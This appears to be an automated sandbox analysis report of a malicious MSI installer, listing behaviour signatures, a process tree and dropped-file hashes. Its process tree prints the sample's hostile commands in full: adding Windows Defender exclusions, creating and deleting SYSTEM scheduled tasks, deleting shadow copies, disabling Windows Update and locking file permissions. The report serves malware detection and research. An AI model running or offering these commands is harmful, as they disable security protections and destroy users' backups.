Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/07/2026, 04:09

General

  • Target
    setinst.2.0.63tt0023.msi
  • Size 5.8MB
  • Sample260724-eq7myaed49
  • SHA256 713f5d52a61e354c65bfa9ca139701c198f8d0a79416ae3e1b4699bef363d664
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 13 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 7 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 7 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Drops file in Windows directory 13 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 22 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\setinst.2.0.63tt0023.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:6128
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2716
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4916
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 0560057BBF74CA4B48FB7E6637984869 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1292
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:252
  • C:\Users\Public\Y8CBq4\VYlAKq.exe
    "C:\Users\Public\Y8CBq4\VYlAKq.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3992
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Y8CBq4\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4280
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Y8CBq4\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4696
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3580
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1288
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:620
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5892
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1388
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3604
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2368
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1848
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3916
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4232
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2028
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2936
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:6132
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5864
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:5992
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4476
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2900
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3296
                        • C:\Program Files (x86)\OzJbYu\OzJbYu.exe
                          "C:\Program Files (x86)\OzJbYu\OzJbYu.exe"
                          2⤵
                            PID:1932
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd.exe /c icacls "C:\Program Files (x86)\OzJbYu" /inheritance:r
                              3⤵
                              • Executes a command shell one-liner
                              PID:2560
                              • C:\Windows\SysWOW64\icacls.exe
                                icacls "C:\Program Files (x86)\OzJbYu" /inheritance:r
                                4⤵
                                • Modifies file permissions
                                PID:5580
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd.exe /c vssadmin delete shadows /all /quiet
                              3⤵
                              • Executes a command shell one-liner
                              PID:2184
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c echo.>c:\xxxx.ini
                              3⤵
                              • Executes a command shell one-liner
                              PID:1140
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c echo.>c:\xxxx.ini
                              3⤵
                              • Executes a command shell one-liner
                              PID:3604
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c echo.>c:\xxxx.ini
                              3⤵
                              • Executes a command shell one-liner
                              PID:5528
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\OzJbYu\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                              3⤵
                              • Indicator Removal: Clear Persistence
                              PID:1372
                              • C:\Windows\SysWOW64\schtasks.exe
                                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\OzJbYu\" /t REG_DWORD /d 0 /f"
                                4⤵
                                • Scheduled Task/Job: Scheduled Task
                                PID:3992
                              • C:\Windows\SysWOW64\schtasks.exe
                                SCHTASKS /Run /TN "Task1"
                                4⤵
                                  PID:2324
                                • C:\Windows\SysWOW64\schtasks.exe
                                  SCHTASKS /Delete /TN "Task1" /F
                                  4⤵
                                    PID:4284
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
                                  3⤵
                                  • Executes a command shell one-liner
                                  PID:2536
                                  • C:\Windows\SysWOW64\net.exe
                                    net stop wuauserv
                                    4⤵
                                      PID:1896
                                      • C:\Windows\SysWOW64\net1.exe
                                        C:\Windows\system32\net1 stop wuauserv
                                        5⤵
                                          PID:4688
                                      • C:\Windows\SysWOW64\sc.exe
                                        sc config wuauserv start= disabled
                                        4⤵
                                        • Launches sc.exe
                                        PID:236
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd.exe /c icacls "C:\Program Files (x86)\OzJbYu" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                                      3⤵
                                      • Executes a command shell one-liner
                                      PID:1256
                                      • C:\Windows\SysWOW64\icacls.exe
                                        icacls "C:\Program Files (x86)\OzJbYu" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                                        4⤵
                                        • Modifies file permissions
                                        PID:5956
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                                      3⤵
                                      • Indicator Removal: Clear Persistence
                                      PID:1704
                                      • C:\Windows\SysWOW64\schtasks.exe
                                        SCHTASKS /Run /TN "Task1"
                                        4⤵
                                          PID:2564
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          SCHTASKS /Delete /TN "Task1" /F
                                          4⤵
                                            PID:3584
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c icacls "C:\Program Files (x86)\OzJbYu" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
                                          3⤵
                                          • Executes a command shell one-liner
                                          PID:2712
                                          • C:\Windows\SysWOW64\icacls.exe
                                            icacls "C:\Program Files (x86)\OzJbYu" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
                                            4⤵
                                            • Modifies file permissions
                                            PID:5508
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\OzJbYu.exe" /inheritance:r
                                          3⤵
                                          • Executes a command shell one-liner
                                          PID:3856
                                          • C:\Windows\SysWOW64\icacls.exe
                                            icacls "C:\Program Files (x86)\OzJbYu\OzJbYu.exe" /inheritance:r
                                            4⤵
                                            • Modifies file permissions
                                            PID:5232
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\OzJbYu.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                                          3⤵
                                          • Executes a command shell one-liner
                                          PID:3948
                                          • C:\Windows\SysWOW64\icacls.exe
                                            icacls "C:\Program Files (x86)\OzJbYu\OzJbYu.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                                            4⤵
                                            • Modifies file permissions
                                            PID:5000
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\image.png" /grant:r Users:(RX) /deny Users:(DE)
                                          3⤵
                                          • Executes a command shell one-liner
                                          PID:1224
                                          • C:\Windows\SysWOW64\icacls.exe
                                            icacls "C:\Program Files (x86)\OzJbYu\image.png" /grant:r Users:(RX) /deny Users:(DE)
                                            4⤵
                                            • Modifies file permissions
                                            PID:5848
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\thumbs.db" /inheritance:r
                                          3⤵
                                          • Executes a command shell one-liner
                                          PID:5252
                                          • C:\Windows\SysWOW64\icacls.exe
                                            icacls "C:\Program Files (x86)\OzJbYu\thumbs.db" /inheritance:r
                                            4⤵
                                            • Modifies file permissions
                                            PID:5696
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                                          3⤵
                                          • Executes a command shell one-liner
                                          PID:4960
                                          • C:\Windows\SysWOW64\icacls.exe
                                            icacls "C:\Program Files (x86)\OzJbYu\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                                            4⤵
                                            • Modifies file permissions
                                            PID:3184
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
                                          3⤵
                                          • Executes a command shell one-liner
                                          PID:5448
                                          • C:\Windows\SysWOW64\icacls.exe
                                            icacls "C:\Program Files (x86)\OzJbYu\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
                                            4⤵
                                            • Modifies file permissions
                                            PID:4572
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\XPSPLOG.dll" /inheritance:r
                                          3⤵
                                          • Executes a command shell one-liner
                                          PID:4480
                                          • C:\Windows\SysWOW64\icacls.exe
                                            icacls "C:\Program Files (x86)\OzJbYu\XPSPLOG.dll" /inheritance:r
                                            4⤵
                                            • Modifies file permissions
                                            PID:2056
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                                          3⤵
                                          • Executes a command shell one-liner
                                          PID:3172
                                          • C:\Windows\SysWOW64\icacls.exe
                                            icacls "C:\Program Files (x86)\OzJbYu\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                                            4⤵
                                            • Modifies file permissions
                                            PID:5644
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
                                          3⤵
                                          • Executes a command shell one-liner
                                          PID:2432
                                          • C:\Windows\SysWOW64\icacls.exe
                                            icacls "C:\Program Files (x86)\OzJbYu\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
                                            4⤵
                                            • Modifies file permissions
                                            PID:4340
                                    • C:\Windows\system32\cmd.exe
                                      "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Y8CBq4" /t REG_DWORD /d 0 /f
                                      1⤵
                                      • Executes a command shell one-liner
                                      • Suspicious use of WriteProcessMemory
                                      PID:3576
                                      • C:\Windows\System32\reg.exe
                                        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Y8CBq4" /t REG_DWORD /d 0 /f
                                        2⤵
                                        • Windows security bypass
                                        PID:3444
                                    • C:\Windows\system32\cmd.exe
                                      cmd.exe
                                      1⤵
                                        PID:2496
                                      • C:\Windows\system32\cmd.exe
                                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                        1⤵
                                        • Executes a command shell one-liner
                                        • Suspicious use of WriteProcessMemory
                                        PID:944
                                        • C:\Windows\System32\reg.exe
                                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                          2⤵
                                          • Windows security bypass
                                          PID:1640
                                      • C:\Windows\system32\cmd.exe
                                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                        1⤵
                                        • Executes a command shell one-liner
                                        • Suspicious use of WriteProcessMemory
                                        PID:3436
                                        • C:\Windows\System32\reg.exe
                                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                          2⤵
                                          • Windows security bypass
                                          PID:4576
                                      • C:\Windows\system32\cmd.exe
                                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                        1⤵
                                        • Executes a command shell one-liner
                                        • Suspicious use of WriteProcessMemory
                                        PID:456
                                        • C:\Windows\System32\reg.exe
                                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                          2⤵
                                          • Windows security bypass
                                          PID:3200
                                      • C:\Windows\system32\cmd.exe
                                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                        1⤵
                                        • Executes a command shell one-liner
                                        • Suspicious use of WriteProcessMemory
                                        PID:2364
                                        • C:\Windows\System32\reg.exe
                                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                          2⤵
                                          • Windows security bypass
                                          PID:5748
                                      • C:\Program Files (x86)\OzJbYu\OzJbYu.exe
                                        "C:\Program Files (x86)\OzJbYu\OzJbYu.exe"
                                        1⤵
                                          PID:5224
                                        • C:\Program Files (x86)\OzJbYu\OzJbYu.exe
                                          "C:\Program Files (x86)\OzJbYu\OzJbYu.exe"
                                          1⤵
                                            PID:5244
                                          • C:\Program Files (x86)\N65Ip\5kMXWGp9.exe
                                            "C:\Program Files (x86)\N65Ip\5kMXWGp9.exe"
                                            1⤵
                                              PID:1428
                                            • C:\Windows\SysWOW64\icacls.exe
                                              icacls "C:\Program Files (x86)\OzJbYu\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                                              1⤵
                                              • Modifies file permissions
                                              PID:5772
                                            • C:\Windows\System32\reg.exe
                                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\OzJbYu" /t REG_DWORD /d 0 /f
                                              1⤵
                                                PID:4400

                                              Network

                                                    MITRE ATT&CK Enterprise v16

                                                    Replay Monitor

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                                                    Downloads

                                                    e59aa9f.rbs

                                                    • Path C:\Config.Msi\e59aa9f.rbs
                                                    • Size 7KB
                                                    • SHA256 08b990499a10eec0d9f02f0156efb4b0fb69bd214e8a4e9e8092650f413323ba
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    XPSPLOG.dll

                                                    • Path C:\Program Files (x86)\N65Ip\XPSPLOG.dll
                                                    • Size 4.6MB
                                                    • SHA256 fc80805b8ad64d567c43c5a6c9a5dc409608bb9e5e988183a995cb6dbe222fa1
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    image.png

                                                    • Path C:\Program Files (x86)\N65Ip\image.png
                                                    • Size 4.9MB
                                                    • SHA256 abdb30e9acfdd6abff3ab2327b4a3b6b711a4249cb56d63345fc4df01c491e14
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    OzJbYu.exe

                                                    • Path C:\Program Files (x86)\OzJbYu\OzJbYu.exe
                                                    • Size 145KB
                                                    • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    XPSPLOG.dll

                                                    • Path C:\Program Files (x86)\OzJbYu\XPSPLOG.dll
                                                    • Size 4.6MB
                                                    • SHA256 bbf8f48a9fda83ed331cbd72fb0809399073cb2ccc713835cdb3dc3fffa3ba33
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    image.png

                                                    • Path C:\Program Files (x86)\OzJbYu\image.png
                                                    • Size 4.9MB
                                                    • SHA256 32a9bea6bae1e78611426d1ccbe828415e040d3bbdaa3250e817f8890c00f118
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    thumbs.db

                                                    • Path C:\Program Files (x86)\OzJbYu\thumbs.db
                                                    • Size 358KB
                                                    • SHA256 89e251f133c1125d4b64408f47d9828539e05095d5117da0c3d37458aeb0d402
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    destopbak.ini

                                                    • Path C:\Users\Public\Music\destopbak.ini
                                                    • Size 2B
                                                    • SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
                                                    • MD5 SHA1 SHA512

                                                    UxEnhance64.dll

                                                    • Path C:\Users\Public\Y8CBq4\UxEnhance64.dll
                                                    • Size 3.1MB
                                                    • SHA256 e6ea9b51937c3f5abaedaf46bfd5ebcf09f650907c55511fb57dc5a4d05a6cdc
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    VYlAKq.exe

                                                    • Path C:\Users\Public\Y8CBq4\VYlAKq.exe
                                                    • Size 135KB
                                                    • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    adoresd.dat

                                                    • Path C:\Users\Public\Y8CBq4\adoresd.dat
                                                    • Size 4.8MB
                                                    • SHA256 d101e93fbd45866c24fe092b0da855ff80f816fc837ceb76dbab73fad0cfa4d4
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    msadox.tb

                                                    • Path C:\Users\Public\Y8CBq4\msadox.tb
                                                    • Size 8KB
                                                    • SHA256 01351e605db44e629e40b2bb20acc1c57233b57558b6db6d5b9a9256e38e9adc
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    MSIAFDF.tmp

                                                    • Path C:\Windows\Installer\MSIAFDF.tmp
                                                    • Size 5.8MB
                                                    • SHA256 98e22409d3b59a6130c1e15db7e5e38916ef56ffd2354397e41454eddbb94ba4
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    e59aa9e.msi

                                                    • Path C:\Windows\Installer\e59aa9e.msi
                                                    • Size 5.8MB
                                                    • SHA256 713f5d52a61e354c65bfa9ca139701c198f8d0a79416ae3e1b4699bef363d664
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    metadata-2

